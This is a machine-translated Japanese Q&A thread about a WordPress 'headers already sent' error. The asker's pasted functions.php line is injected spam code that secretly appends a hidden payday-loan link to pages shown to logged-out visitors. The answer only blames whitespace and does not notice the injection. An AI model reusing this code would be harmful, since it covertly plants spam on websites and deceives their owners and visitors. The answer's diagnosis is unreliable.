0

重複の可能性:
PHPによってすでに送信されているヘッダー

私は私の友人のためにplayhawaiisoccer.comのエラーを修正しようとしています。残念ながら、エラーは私の能力を超えています。私が得ているエラーは次のとおりです。

「警告:ヘッダー情報を変更できません-/ home / content / 72/8966572の(/home/content/72/8966572/html/wp-content/themes/LeanBiz/functions.php:1で開始された出力)によって既に送信されたヘッダー/html/wp-865行目のincludes/plugingable.php "

正しく理解していれば、pluggable.phpファイルで2回目のヘッダーを送信しています。各ファイルのコードは次のとおりです。どんな助けでも大歓迎です。

Functions.php行1:

<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if     (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);}    </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?> 

Pluggable.php行865:

function wp_redirect($location, $status = 302) {
global $is_IIS;

$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);

if ( !$location ) // allows the wp_redirect filter to cancel a redirect
    return false;

$location = wp_sanitize_redirect($location);

if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
    status_header($status); // This causes problems on IIS and some FastCGI setups

header("Location: $location", true, $status);}

助けてくれてありがとう!

4

1 に答える 1

2

<?php関数.phpファイルの先頭(空白の前)にあることを確認し?>、そのファイルの末尾で削除します。

ホイットスペースなどの文字がこれらのタグの外側にある場合、PHPはそれらをhttpヘッダーと一緒に送信するため、後でヘッダーコマンドが失敗します。

于 2013-01-29T21:22:38.977 に答える